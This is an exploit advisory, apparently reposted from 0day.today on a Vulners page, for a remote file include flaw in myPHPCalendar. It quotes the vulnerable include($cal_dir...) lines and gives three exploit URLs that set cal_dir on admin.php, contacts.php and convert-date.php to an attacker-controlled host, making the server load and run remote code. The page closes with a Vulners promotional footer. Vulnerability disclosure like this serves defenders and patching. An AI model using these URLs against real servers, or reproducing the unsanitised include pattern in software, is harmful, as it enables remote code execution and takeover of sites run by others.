myPHPCalendar 10192000b Remote File Include Vulnerabilitie
=====================================================================
myPHPCalendar 10192000b (cal_dir) Remote File Include Vulnerabilities
=====================================================================
# script name : myPHPCalendar
# Script Downloads : http://freshmeat.net/projects/myphpcalendar/
# Web Site : http://myphpcalendar.sourceforge.net/
# Version : 10.1
# Risk : High
# Found By : [email protected]_King
# Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali46 | The_Bekir |
Metallicali | Liz0zim | ERNE | Swat_Hack | Commander | Soceita
# Code :
include($cal_dir."vars.inc");
include($cal_dir."prefs.inc");
#Vuln : http://[target]/admin.php?cal_dir=http://[attacker]/
http://[target]/contacts.php?cal_dir=http://[attacker]/
http://[target]/convert-date.php?cal_dir=http://[attacker]/
# 0day.today [2018-01-02] #
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo